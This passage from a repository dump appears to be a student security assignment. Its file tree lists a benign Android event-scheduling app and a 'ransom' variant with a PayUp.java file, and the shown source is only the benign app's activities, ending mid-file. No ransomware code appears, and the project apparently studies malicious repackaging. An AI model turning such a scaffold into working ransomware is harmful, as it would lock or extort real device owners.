├── benign
└── app
│ └── src
│ ├── androidTest
│ └── java
│ │ └── wubbalubbadubdub
│ │ └── benignhw1
│ │ └── ExampleInstrumentedTest.java
│ ├── main
│ ├── AndroidManifest.xml
│ ├── java
│ │ └── wubbalubbadubdub
│ │ │ └── benignhw1
│ │ │ ├── AddEventActivity.java
│ │ │ ├── ListActivity.java
│ │ │ ├── SelectUserActivity.java
│ │ │ ├── ViewActivity.java
│ │ │ └── data
│ │ │ ├── DBContract.java
│ │ │ ├── DatabaseHelper.java
│ │ │ ├── Event.java
│ │ │ └── HelperMethods.java
│ └── res
│ │ ├── layout
│ │ ├── activity_add_event.xml
│ │ ├── activity_list.xml
│ │ ├── activity_select_user.xml
│ │ └── activity_view.xml
│ │ ├── mipmap-hdpi
│ │ ├── ic_benign_icon.png
│ │ ├── ic_launcher.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-mdpi
│ │ ├── ic_benign_icon.png
│ │ ├── ic_launcher.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-xhdpi
│ │ ├── ic_benign_icon.png
│ │ ├── ic_launcher.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-xxhdpi
│ │ ├── ic_benign_icon.png
│ │ ├── ic_launcher.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-xxxhdpi
│ │ ├── ic_benign_icon.png
│ │ ├── ic_launcher.png
│ │ └── ic_launcher_round.png
│ │ └── values
│ │ ├── colors.xml
│ │ ├── strings.xml
│ │ └── styles.xml
│ └── test
│ └── java
│ └── wubbalubbadubdub
│ └── benignhw1
│ └── ExampleUnitTest.java
└── ransom
└── app
└── src
├── androidTest
└── java
│ └── wubbalubbadubdub
│ └── hw1700ransomware
│ └── ExampleInstrumentedTest.java
├── main
├── AndroidManifest.xml
├── java
│ └── wubbalubbadubdub
│ │ └── hw1700ransomware
│ │ ├── AddEventActivity.java
│ │ ├── ListActivity.java
│ │ ├── PayUp.java
│ │ ├── SelectUserActivity.java
│ │ ├── ViewActivity.java
│ │ └── data
│ │ ├── DBContract.java
│ │ ├── DatabaseHelper.java
│ │ ├── Event.java
│ │ └── HelperMethods.java
└── res
│ ├── color
│ └── textcolor2.xml
│ ├── layout
│ ├── activity_add_event.xml
│ ├── activity_list.xml
│ ├── activity_pay_up.xml
│ ├── activity_select_user.xml
│ └── activity_view.xml
│ ├── mipmap-hdpi
│ ├── ic_benign_icon.png
│ ├── ic_launcher.png
│ ├── ic_launcher_round.png
│ └── ic_malicious_icon.png
│ ├── mipmap-mdpi
│ ├── ic_benign_icon.png
│ ├── ic_launcher.png
│ ├── ic_launcher_round.png
│ └── ic_malicious_icon.png
│ ├── mipmap-xhdpi
│ ├── ic_benign_icon.png
│ ├── ic_launcher.png
│ ├── ic_launcher_round.png
│ └── ic_malicious_icon.png
│ ├── mipmap-xxhdpi
│ ├── ic_benign_icon.png
│ ├── ic_launcher.png
│ ├── ic_launcher_round.png
│ └── ic_malicious_icon.png
│ ├── mipmap-xxxhdpi
│ ├── ic_benign_icon.png
│ ├── ic_launcher.png
│ ├── ic_launcher_round.png
│ └── ic_malicious_icon.png
│ └── values
│ ├── attrs.xml
│ ├── colors.xml
│ ├── strings.xml
│ └── styles.xml
└── test
└── java
└── wubbalubbadubdub
└── hw1700ransomware
└── ExampleUnitTest.java
/benign/app/src/androidTest/java/wubbalubbadubdub/benignhw1/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1;
2 |
3 | import android.content.Context;
4 | import android.support.test.InstrumentationRegistry;
5 | import android.support.test.runner.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumentation test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() throws Exception {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("wubbalubbadubdub.eecs448project1", appContext.getPackageName());
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/benign/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/AddEventActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.os.Bundle;
6 | import android.util.TypedValue;
7 | import android.view.View;
8 | import android.widget.Button;
9 | import android.widget.EditText;
10 | import android.widget.TableLayout;
11 | import android.widget.TableRow;
12 | import android.widget.TextView;
13 | import android.graphics.Color;
14 | import android.widget.DatePicker;
15 | import android.widget.DatePicker.OnDateChangedListener;
16 | import android.widget.Toast;
17 |
18 |
19 | import java.util.ArrayList;
20 | import java.util.Calendar;
21 | import java.util.List;
22 |
23 |
24 | import wubbalubbadubdub.benignhw1.data.DatabaseHelper;
25 | import wubbalubbadubdub.benignhw1.data.Event;
26 | import wubbalubbadubdub.benignhw1.data.HelperMethods; //For toTime() method
27 |
28 | /**
29 | * AddEventActivity.java
30 | * @author Dustin, Damian, Lane
31 | * @version 1.1
32 | * This Class allows the user to create an event and select timeslots for the event created
33 | */
34 | public class AddEventActivity extends Activity {
35 |
36 | private DatabaseHelper dbHelper;
37 | private Toast statusMessage;
38 |
39 | private String currentUser;
40 | private List selectedTimeslots;
41 | private boolean format = false; //Time format: false=12h | true=24h
42 |
43 | //Color Variables - Material Design
44 | int BLUE_MAT = Color.rgb(2,136,209);
45 | int GREEN_MAT = Color.rgb(139,195,74);
46 |
47 | /**
48 | * Method called when the activity is first created. Lots of formatting done.
49 | * @param savedInstanceState Unused Bundle object. Usually used if the app is killed then we can resume
50 | */
51 | @Override
52 | protected void onCreate(Bundle savedInstanceState) {
53 | super.onCreate(savedInstanceState);
54 | setContentView(R.layout.activity_add_event);
55 |
56 | dbHelper = new DatabaseHelper(getApplicationContext());
57 | statusMessage = Toast.makeText(this, "", Toast.LENGTH_SHORT);
58 |
59 | Intent intent = getIntent();
60 | currentUser = intent.getStringExtra("currentUser");
61 |
62 | TextView welcome = (TextView) findViewById(R.id.tvWelcome);
63 | welcome.setText(currentUser + ", create your event");
64 | selectedTimeslots = new ArrayList<>();
65 |
66 | createTimeslotTable();
67 |
68 | //Set Date Picker to current date, datePicker constraints etc.
69 | int[] date = HelperMethods.getCurrentDate();
70 | DatePicker datePicker = (DatePicker) findViewById(R.id.datePicker);
71 | int month = date[0];
72 | int day = date[1];
73 | int year = date[2];
74 |
75 | //Now set the default date to today thru this init method I found
76 | datePicker.init(year, month, day, new OnDateChangedListener() {
77 | @Override
78 | public void onDateChanged(DatePicker dp, int y, int m, int d) {
79 | //clearTimeslotTable(); ENABLE TO RESET TIMESLOTS UPON DATE SWITCH
80 | }
81 | });
82 |
83 | datePicker.setMinDate(System.currentTimeMillis() - 1000);
84 | Calendar max = Calendar.getInstance();
85 | max.set(Calendar.YEAR, 2100);
86 |
87 | datePicker.setMaxDate((max.getTime()).getTime());
88 |
89 |
90 | }
91 |
92 | /**
93 | * This function will create the table of buttons to select an event's timeframe
94 | */
95 | private void createTimeslotTable() {
96 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
97 |
98 | int count = 0;
99 | for (int i = 0; i < 4; i++) {
100 | TableRow tr = new TableRow(this);
101 | for (int j = 0; j < 12; j++) {
102 | final int current = count;
103 | Button b = new Button(this);
104 | b.setText(HelperMethods.toTime(count,format));
105 | b.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 15);
106 | b.setTransformationMethod(null);
107 | TableRow.LayoutParams cellParams = new TableRow.LayoutParams();
108 | cellParams.rightMargin = 5;
109 | b.setLayoutParams(cellParams);
110 | b.setBackgroundColor(GREEN_MAT);
111 | b.setOnClickListener(new Button.OnClickListener() {
112 | int id = current;
113 | boolean selected = false;
114 |
115 | @Override
116 | public void onClick(View v) {
117 | Button obj = (Button) v;
118 | if (selected) {
119 | obj.setBackgroundColor(GREEN_MAT);
120 | selectedTimeslots.remove(Integer.valueOf(id));
121 | } else {
122 | obj.setBackgroundColor(BLUE_MAT);
123 | selectedTimeslots.add(id);
124 | }
125 | selected = !selected;
126 | updateTimeDisplay();
127 | }
128 | });
129 | tr.addView(b);
130 | count++;
131 | }
132 | TableLayout.LayoutParams tableRowParams = new TableLayout.LayoutParams(TableLayout.LayoutParams.MATCH_PARENT,TableLayout.LayoutParams.WRAP_CONTENT);
133 |
134 | tableRowParams.setMargins(10, 2, 10, 2);
135 |
136 | tr.setLayoutParams(tableRowParams);
137 |
138 |
139 | layout.addView(tr, tableRowParams);
140 | }
141 | }
142 |
143 | /**
144 | * clear timeslot table - originally wrote for onDateChangedListener, realized it's probably
145 | * unnecessary but keeping it in case we want it for anything else, e.g. a 'clear times' button
146 | */
147 | private void clearTimeslotTable() {
148 |
149 | selectedTimeslots.clear();
150 |
151 | TableLayout tableLayout = (TableLayout) findViewById(R.id.tbLayout);
152 | int count = 0;
153 | for (int i = 0; i < 4; i++) {
154 | TableRow row = (TableRow)tableLayout.getChildAt(i);
155 | for (int j = 0; j < 12; j++) {
156 | Button b = (Button) row.getChildAt(j);
157 | b.setBackgroundColor(GREEN_MAT);
158 | count++;
159 | }
160 | }
161 | updateTimeDisplay();
162 |
163 | }
164 |
165 | /**
166 | * This function is called when the 12h/24h toggle button is pressed
167 | * @param v View of the pressed button
168 | */
169 | public void toggleFormat(View v) {
170 | TableLayout tableLayout = (TableLayout) findViewById(R.id.tbLayout);
171 |
172 | format = !format;
173 |
174 | int count = 0;
175 | for (int i = 0; i < 4; i++) {
176 | TableRow row = (TableRow)tableLayout.getChildAt(i);
177 | for (int j = 0; j < 12; j++) {
178 | Button b = (Button) row.getChildAt(j);
179 | b.setText(HelperMethods.toTime(count, format));
180 | count++;
181 | }
182 | }
183 | updateTimeDisplay();
184 |
185 | }
186 |
187 | /**
188 | * Updates the Selected timeframe for the event
189 | */
190 | private void updateTimeDisplay() {
191 | TextView timeDisplay = (TextView) findViewById(R.id.tvSelectedTimes);
192 |
193 | String disp = "Event Timeframe: " + HelperMethods.getTimeString(selectedTimeslots, format);
194 |
195 | if (selectedTimeslots.isEmpty()) disp = "PLEASE SELECT TIMES";
196 |
197 | timeDisplay.setText(disp);
198 | }
199 |
200 | /**
201 | * Verifies that the Event is valid before attempting to insert to the database
202 | * @param e Event object of the event to be created.
203 | * @return True if valid, false otherwise
204 | */
205 | boolean verify(Event e) {
206 |
207 | //Dates should have no way of being invalid
208 |
209 | //Name verification
210 | if (e.getName().isEmpty()) {
211 | statusMessage.setText("ERROR: Please name your event!");
212 | return false;
213 | }
214 |
215 | //Timeslot verification
216 | if (e.getTimeslots().isEmpty()) {
217 | statusMessage.setText("ERROR: Please choose times for your event!");
218 | return false;
219 | }
220 |
221 | //Check if user is already signed up for any conflicting events
222 | /*pseudo: if intersection of (currentuser.signups.timeslots) list with (e.timeslots) list
223 | * is nonempty, -> conflict found, return false*/
224 |
225 | return true;
226 | }
227 |
228 | /**
229 | * onSaveButtonClick() - Handles Save button - creates event object, verifies, and adds event
230 | * @param v View of the button that was pressed
231 | */
232 | public void onSaveButtonClick(View v) {
233 |
234 | //Build date string for event
235 | DatePicker datePicker = (DatePicker) findViewById(R.id.datePicker);
236 | int month = datePicker.getMonth() + 1;
237 | int day = datePicker.getDayOfMonth();
238 | int year = datePicker.getYear();
239 | String date = HelperMethods.dateToString(month, day, year);
240 |
241 | //Get name of event
242 | EditText nameText = (EditText) findViewById(R.id.textName);
243 | String name = nameText.getText().toString();
244 |
245 | //Stringify timeslot list in int format for storage in db
246 | String timeslotIntList = HelperMethods.stringifyTimeslotInts(selectedTimeslots);
247 |
248 | //Create an event, attempt to verify it, and send to db if all is well
249 | /*Event ID is set to -1 because it's useless until a real ID is assigned
250 | *by the primary key upon insertion to the database after successful verification.*/
251 | Event e = new Event(-1, date, name, currentUser, timeslotIntList);
252 |
253 | if (verify(e)){
254 |
255 | //Add event and automatically sign creator up for duration of event
256 | int eventID = dbHelper.addEvent(e);
257 | dbHelper.addSignup(eventID, currentUser, selectedTimeslots);
258 |
259 | statusMessage.setText("Your event has been created.");
260 | statusMessage.show();
261 | Intent intent = new Intent(getApplicationContext(), ListActivity.class);
262 | intent.putExtra("currentUser", currentUser);
263 | finish();
264 | startActivity(intent);
265 |
266 | }else statusMessage.show();
267 | }
268 |
269 |
270 | }
271 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/ListActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.graphics.Color;
6 | import android.graphics.Typeface;
7 | import android.os.Bundle;
8 | import android.view.View;
9 | import android.view.ViewGroup;
10 | import android.widget.TableLayout;
11 | import android.widget.TableRow;
12 | import android.widget.TextView;
13 |
14 | import java.util.ArrayList;
15 | import java.util.Collections;
16 |
17 | import wubbalubbadubdub.benignhw1.data.DatabaseHelper;
18 | import wubbalubbadubdub.benignhw1.data.Event;
19 | import wubbalubbadubdub.benignhw1.data.HelperMethods;
20 |
21 | /**
22 | * This page list all the activities created by other users.
23 | * Also this page allows the user to add an event which brings them to the AddEvent page
24 | * @author Dustin, Lane, Damian
25 | * @version 1.0
26 | */
27 | public class ListActivity extends Activity {
28 |
29 | private DatabaseHelper dbHelper;
30 | private String currentUser;
31 | private boolean format = false; //Time formatting boolean
32 |
33 | final int DARK_CYAN = Color.rgb(0, 151, 167);
34 | final int BLUE_MAT = Color.rgb(2,136,209); //For dolling up the event titles
35 | final int LIGHT_BG = Color.rgb(201, 221, 255);
36 | final int DARK_BG = Color.rgb(153, 192, 255);
37 |
38 | private boolean allEvents = true; //Determines whether to show all events or own events
39 |
40 | @Override
41 | protected void onCreate(Bundle savedInstanceState) {
42 |
43 | super.onCreate(savedInstanceState);
44 | setContentView(R.layout.activity_list);
45 |
46 | dbHelper = new DatabaseHelper(getApplicationContext());
47 |
48 | Intent intent = getIntent();
49 | currentUser = intent.getStringExtra("currentUser");
50 | TextView welcomeText = (TextView) findViewById(R.id.tvWelcome);
51 | welcomeText.setText("Hello " + currentUser + "!");
52 |
53 | populateEventTable();
54 |
55 | }
56 |
57 | /**
58 | * Handles All Events toggle button
59 | * @param v - (Given view)
60 | */
61 | public void toggleEventList(View v) {
62 | allEvents = !allEvents;
63 | populateEventTable();
64 | }
65 |
66 | /**
67 | * Toggles time formatting in table
68 | * @param v - (Given view)
69 | */
70 | public void toggleFormat(View v) {
71 | format = !format;
72 | populateEventTable();
73 | }
74 |
75 | /**
76 | * Populates event table
77 | */
78 | private void populateEventTable() {
79 | TableLayout layout = (TableLayout) findViewById(R.id.eventTableLayout);
80 | TableLayout.LayoutParams tableRowParams = new TableLayout.LayoutParams(TableLayout.LayoutParams.MATCH_PARENT,TableLayout.LayoutParams.WRAP_CONTENT);
81 |
82 | //Clears the table before (re)populating
83 | for (int i = 0; i < layout.getChildCount(); i++) {
84 | View row = layout.getChildAt(i);
85 | if (row instanceof TableRow) ((ViewGroup) row).removeAllViews();
86 | layout.removeAllViews();
87 | }
88 |
89 | tableRowParams.setMargins(10, 2, 10, 2);
90 | ArrayList events = (allEvents) ? dbHelper.getAllEvents() : dbHelper.getUserEvents(currentUser);
91 | Collections.sort(events);
92 |
93 | int numberOfEvents = events.size();
94 | int rowBG = 1;
95 |
96 | //Title row creation
97 | TableRow titleRow = new TableRow(this);
98 | titleRow.setBackgroundColor(DARK_CYAN);
99 |
100 | TableRow.LayoutParams titleLayout = new TableRow.LayoutParams();
101 | titleLayout.setMargins(0, 10, 10, 15);
102 |
103 | TextView titleName = new TextView(this);
104 | TextView titleCreator = new TextView(this);
105 | TextView titleDay = new TextView(this);
106 | TextView titleTimeslots = new TextView(this);
107 |
108 | titleCreator.setLayoutParams(titleLayout);
109 | titleName.setLayoutParams(titleLayout);
110 | titleDay.setLayoutParams(titleLayout);
111 | titleTimeslots.setLayoutParams(titleLayout);
112 |
113 | titleName.setPadding(3, 10, 0, 10);
114 | titleCreator.setPadding(0, 10, 0, 10);
115 | titleDay.setPadding(0, 10, 0, 10);
116 | titleTimeslots.setPadding(0, 10, 0, 10);
117 |
118 | titleName.setText("Event Name");
119 | titleCreator.setText("Creator");
120 | titleDay.setText("Date");
121 | titleTimeslots.setText("Scheduled Times");
122 |
123 | titleName.setTextSize(18);
124 | titleCreator.setTextSize(18);
125 | titleDay.setTextSize(18);
126 | titleDay.setTextSize(18);
127 | titleTimeslots.setTextSize(18);
128 |
129 | titleName.setTypeface(null, Typeface.BOLD);
130 | titleCreator.setTypeface(null, Typeface.BOLD);
131 | titleDay.setTypeface(null, Typeface.BOLD);
132 | titleTimeslots.setTypeface(null, Typeface.BOLD);
133 |
134 | titleRow.addView(titleName);
135 | titleRow.addView(titleCreator);
136 | titleRow.addView(titleDay);
137 | titleRow.addView(titleTimeslots);
138 |
139 | layout.addView(titleRow, tableRowParams);
140 |
141 |
142 | //Generate rest of event rows
143 | for (int i = 0; i < numberOfEvents; i++) {
144 | TableRow row = new TableRow(this);
145 |
146 | row.setBackgroundColor((rowBG % 2 == 1) ? LIGHT_BG : DARK_BG);
147 |
148 | Event workingEvent = events.get(i);
149 |
150 | TableRow.LayoutParams tvLayout = new TableRow.LayoutParams();
151 | tvLayout.setMargins(0, 10, 10, 15);
152 |
153 | TextView eventName = new TextView(this);
154 | TextView eventCreator = new TextView(this);
155 | TextView eventDay = new TextView(this);
156 | TextView eventTimeslots = new TextView(this);
157 |
158 | eventName.setLayoutParams(tvLayout);
159 | eventCreator.setLayoutParams(tvLayout);
160 | eventDay.setLayoutParams(tvLayout);
161 | eventTimeslots.setLayoutParams(tvLayout);
162 |
163 | eventName.setPadding(3, 10, 0, 10);
164 | eventCreator.setPadding(0, 10, 0, 10);
165 | eventDay.setPadding(0, 10, 0, 10);
166 | eventTimeslots.setPadding(10, 10, 0, 10);
167 |
168 | eventName.setTextSize(20);
169 | eventName.setTypeface(null, Typeface.BOLD);
170 | eventName.setTextColor(BLUE_MAT);
171 | eventCreator.setTextSize(20);
172 | eventDay.setTextSize(20);
173 | eventTimeslots.setTextSize(20);
174 |
175 | //Prettier formatting, convert timeslots into timestring through series of parsing methods
176 | eventCreator.setText(workingEvent.getCreator());
177 | eventDay.setText(workingEvent.getDate());
178 | eventName.setText(workingEvent.getName());
179 | eventTimeslots.setText(HelperMethods.getTimeString(HelperMethods.listifyTimeslotInts(workingEvent.getTimeslots()), format));
180 |
181 | row.addView(eventName);
182 | row.addView(eventCreator);
183 | row.addView(eventDay);
184 | row.addView(eventTimeslots);
185 |
186 | row.setLayoutParams(tableRowParams);
187 |
188 | final int workingEventID = workingEvent.getID();
189 |
190 | row.setOnClickListener(new View.OnClickListener() {
191 | int id = workingEventID;
192 |
193 | @Override
194 | public void onClick(View view) {
195 | Intent intent = new Intent(getApplicationContext(), ViewActivity.class);
196 | intent.putExtra("currentUser", currentUser);
197 | intent.putExtra("eventID", id);
198 |
199 | startActivity(intent);
200 | }
201 | });
202 |
203 |
204 | layout.addView(row, tableRowParams);
205 | rowBG++;
206 |
207 | }
208 | }
209 |
210 | /**
211 | * Handles Add new Event button
212 | * @param v - (given view)
213 | */
214 | public void newEvent(View v) {
215 | Intent intent = new Intent(this, AddEventActivity.class);
216 | intent.putExtra("currentUser", currentUser);
217 | finish();
218 | startActivity(intent);
219 | }
220 |
221 |
222 | }
223 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/SelectUserActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.os.Bundle;
6 | import android.text.TextUtils;
7 | import android.view.View;
8 | import android.widget.AdapterView;
9 | import android.widget.ArrayAdapter;
10 | import android.widget.EditText;
11 | import android.widget.ListView;
12 | import android.widget.Toast;
13 |
14 | import java.util.List;
15 |
16 | import wubbalubbadubdub.benignhw1.data.DatabaseHelper;
17 |
18 | /**
19 | * This is the starting activity for our application. Here the user will select or add users
20 | * @author Damian, Lane
21 | * @version 1.0
22 | */
23 | public class SelectUserActivity extends Activity {
24 | private DatabaseHelper dbHelper;
25 | private Toast statusMessage;
26 | private ListView userList;
27 |
28 | /**
29 | * This function is called when the activity is first created
30 | * @param savedInstanceState Every oncreate needs this. Allows to revert to previous state
31 | * @since 1.0
32 | */
33 | @Override
34 | protected void onCreate(Bundle savedInstanceState) {
35 | super.onCreate(savedInstanceState);
36 | setContentView(R.layout.activity_select_user);
37 |
38 | dbHelper = new DatabaseHelper(getApplicationContext());
39 | statusMessage = Toast.makeText(this, "", Toast.LENGTH_SHORT);
40 |
41 | userList = (ListView) findViewById(R.id.lvUsers);
42 | userList.setOnItemClickListener(new AdapterView.OnItemClickListener() {
43 | @Override
44 | public void onItemClick(AdapterView> parent, View view, int position, long id) {
45 | String selectedUser = userList.getItemAtPosition(position).toString();
46 |
47 | Intent intent = new Intent(getApplicationContext(), ListActivity.class);
48 | intent.putExtra("currentUser", selectedUser);
49 | startActivity(intent);
50 | }
51 | });
52 | populateUsers();
53 | }
54 |
55 | /**
56 | * This function utilizes the DatabaseHelper class to populate a listview with all users
57 | * in the database
58 | * @since 1.0
59 | */
60 | private void populateUsers() {
61 | List users = dbHelper.getUsers();
62 |
63 | ArrayAdapter arrayAdapter = new ArrayAdapter(
64 | this,
65 | android.R.layout.simple_list_item_1,
66 | users );
67 |
68 | userList.setAdapter(arrayAdapter);
69 | }
70 |
71 | /**
72 | * This function will utilize the DatabaseHelper to add a new user
73 | * @param v The View that fired the addUser() function. In this case it is the addUserButton
74 | * @since 1.0
75 | */
76 | public void addUser(View v) {
77 | EditText textbox = (EditText) findViewById(R.id.newUsername);
78 | String name = textbox.getText().toString().trim(); //removes any lead/trailing spaces as well
79 |
80 |
81 | if (isValidName(name)) statusMessage.setText(name + " was added to the list of users");
82 | statusMessage.show();
83 | populateUsers();
84 | }
85 |
86 | /**
87 | *
88 | * @param name the string to check the validity of
89 | * @return false if the name contains invalid characters
90 | * @since 1.0
91 | */
92 | private boolean isValidName(String name) {
93 |
94 | //Conditions for valid username creation
95 | if (TextUtils.isEmpty(name)){ //Empty name
96 | statusMessage.setText("ERROR: Please input a name for the new user");
97 | return false;
98 | } else if (!name.matches("[a-zA-Z\\s]+")) { //Non a-z characters in name
99 | statusMessage.setText("ERROR: Name contains invalid characters");
100 | return false;
101 | } else if (dbHelper.addUser(name) == -1) { //name already exists
102 | statusMessage.setText("ERROR: That Username already exists!");
103 | return false;
104 | }else return true;
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/ViewActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.graphics.Color;
6 | import android.graphics.Typeface;
7 | import android.os.Bundle;
8 | import android.util.TypedValue;
9 | import android.view.View;
10 | import android.view.ViewGroup;
11 | import android.widget.Button;
12 | import android.widget.TableLayout;
13 | import android.widget.TableRow;
14 | import android.widget.TextView;
15 | import android.widget.Toast;
16 |
17 | import java.util.ArrayList;
18 | import java.util.List;
19 | import java.util.Map;
20 |
21 | import wubbalubbadubdub.benignhw1.data.DatabaseHelper;
22 | import wubbalubbadubdub.benignhw1.data.Event;
23 | import wubbalubbadubdub.benignhw1.data.HelperMethods;
24 |
25 | /**
26 | * This activity is for viewing a certain activity.
27 | * The view will be different dependent on if the Current user was the creator of the event
28 | * @author Dustin, Lane, Damian
29 | * @version 1.0
30 | */
31 | public class ViewActivity extends Activity {
32 |
33 | DatabaseHelper dbHelper;
34 |
35 | Boolean format = false;
36 |
37 | private int currentID;
38 | private String currentUser;
39 | private Event currentEvent;
40 |
41 | private List currentTimeslots;
42 | private List selectedTimeslots;
43 |
44 | private int selectedRow = -1;
45 | private int selectedSlot = -1;
46 |
47 | private Map userSignups;
48 |
49 | private Toast statusMessage;
50 |
51 | private boolean prevSignup;
52 |
53 | private boolean adminMode;
54 |
55 | //Color Variables - Material Design
56 | int BLUE_MAT = Color.rgb(2,136,209);
57 | int GREEN_MAT = Color.rgb(139,195,74);
58 |
59 | /**
60 | * Method called when the activity is first created and displayed to the screen
61 | * @param savedInstanceState Unused Bundle object. Usually used if the app is killed then we can resume
62 | */
63 | @Override
64 | protected void onCreate(Bundle savedInstanceState) {
65 | super.onCreate(savedInstanceState);
66 | setContentView(R.layout.activity_view);
67 |
68 | Intent intent = getIntent();
69 | currentID = intent.getIntExtra("eventID", -1);
70 | currentUser = intent.getStringExtra("currentUser");
71 |
72 | statusMessage = Toast.makeText(this, "", Toast.LENGTH_SHORT);
73 |
74 |
75 | dbHelper = new DatabaseHelper(getApplicationContext());
76 |
77 | currentEvent = dbHelper.getEvent(currentID);
78 |
79 | adminMode = currentUser.equals(currentEvent.getCreator());
80 |
81 | String creatorString = "Created by: " + currentEvent.getCreator();
82 | String eventString = currentEvent.getName() + " - " + ((adminMode) ? "Admin Mode" : "Select Availability");
83 |
84 | TextView eventName = (TextView) findViewById(R.id.tvEventName);
85 | TextView eventCreator = (TextView) findViewById(R.id.tvCreator);
86 | TextView eventDate = (TextView) findViewById(R.id.tvDate);
87 |
88 | eventName.setText(eventString);
89 | eventCreator.setText(creatorString);
90 | eventDate.setText(currentEvent.getDate());
91 |
92 | currentTimeslots = HelperMethods.listifyTimeslotInts(currentEvent.getTimeslots());
93 | selectedTimeslots = new ArrayList<>();
94 |
95 |
96 | updateTimeframe();
97 |
98 | userSignups = dbHelper.getSignups(currentID);
99 |
100 | prevSignup = userSignups.containsKey(currentUser);
101 |
102 |
103 |
104 | if (adminMode) {
105 | // View event status
106 | displayEventSignups();
107 |
108 | ((Button)findViewById(R.id.btnSave)).setVisibility(View.GONE);
109 | } else {
110 | // Set availability
111 |
112 | ((TextView)findViewById(R.id.tvSelectedUser)).setVisibility(View.GONE);
113 | populateTimeslotTable();
114 | }
115 |
116 | }
117 |
118 | /**
119 | * This method fills the timeslot table with the timeslots local to the current event
120 | */
121 | private void populateTimeslotTable() {
122 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
123 |
124 | // Clear table
125 | for (int i = 0; i < layout.getChildCount(); i++) {
126 | View row = layout.getChildAt(i);
127 | if (row instanceof TableRow) ((ViewGroup) row).removeAllViews();
128 | layout.removeAllViews();
129 | }
130 |
131 | List currentUserSelection = (prevSignup) ? HelperMethods.listifyTimeslotInts(userSignups.get(currentUser)) : null;
132 |
133 | if (prevSignup) selectedTimeslots = currentUserSelection;
134 |
135 | int count = 0;
136 | for (int i = 0; i < 4; i++) {
137 | TableRow tr = new TableRow(this);
138 | for (int j = 0; j < 12; j++) {
139 | final int current = count;
140 | Button b = new Button(this);
141 | b.setText(HelperMethods.toTime(count,format));
142 | b.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 15);
143 | TableRow.LayoutParams cellParams = new TableRow.LayoutParams();
144 | cellParams.rightMargin = 5;
145 | b.setLayoutParams(cellParams);
146 | if (currentTimeslots.contains(count)) {
147 | boolean intSelect = false;
148 | if (currentUserSelection != null && currentUserSelection.contains(count)) {
149 | intSelect = true;
150 | b.setBackgroundColor(BLUE_MAT);
151 | } else {
152 | b.setBackgroundColor(GREEN_MAT);
153 | }
154 | final boolean select = intSelect;
155 |
156 | b.setOnClickListener(new Button.OnClickListener() {
157 | int id = current;
158 | boolean selected = select;
159 |
160 | @Override
161 | public void onClick(View v) {
162 | Button obj = (Button) v;
163 | if (selected) {
164 | obj.setBackgroundColor(GREEN_MAT);
165 | selectedTimeslots.remove(Integer.valueOf(id));
166 | } else {
167 | obj.setBackgroundColor(BLUE_MAT);
168 | selectedTimeslots.add(id);
169 | }
170 | selected = !selected;
171 | updateTimeDisplay();
172 | }
173 | });
174 | } else {
175 | b.setBackgroundColor(Color.DKGRAY);
176 | }
177 | tr.addView(b);
178 | count++;
179 | }
180 | TableLayout.LayoutParams tableRowParams = new TableLayout.LayoutParams(TableLayout.LayoutParams.MATCH_PARENT,TableLayout.LayoutParams.WRAP_CONTENT);
181 |
182 | tableRowParams.setMargins(10, 2, 10, 2);
183 |
184 | tr.setLayoutParams(tableRowParams);
185 |
186 | layout.addView(tr, tableRowParams);
187 | }
188 | updateTimeDisplay();
189 | }
190 |
191 | /**
192 | * This method displays the Event timeframe and which users are signed up
193 | */
194 | private void displayEventSignups() {
195 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
196 |
197 | TableRow header = new TableRow(this);
198 |
199 |
200 | // Clear table
201 | for (int i = 0; i < layout.getChildCount(); i++) {
202 | View row = layout.getChildAt(i);
203 | if (row instanceof TableRow) ((ViewGroup) row).removeAllViews();
204 | layout.removeAllViews();
205 | }
206 |
207 |
208 | TableRow.LayoutParams cellParams = new TableRow.LayoutParams();
209 | cellParams.setMargins(20, 20, 20, 20);
210 |
211 | TextView userHeader = new TextView(this);
212 | userHeader.setText("User");
213 | userHeader.setTextSize(15);
214 | userHeader.setTypeface(null, Typeface.BOLD);
215 | userHeader.setLayoutParams(cellParams);
216 | header.addView(userHeader);
217 |
218 | for (int slot : currentTimeslots) {
219 | TextView slotHeader = new TextView(this);
220 | slotHeader.setText(HelperMethods.toTime(slot, format));
221 | slotHeader.setTextSize(15);
222 | slotHeader.setTypeface(null, Typeface.BOLD);
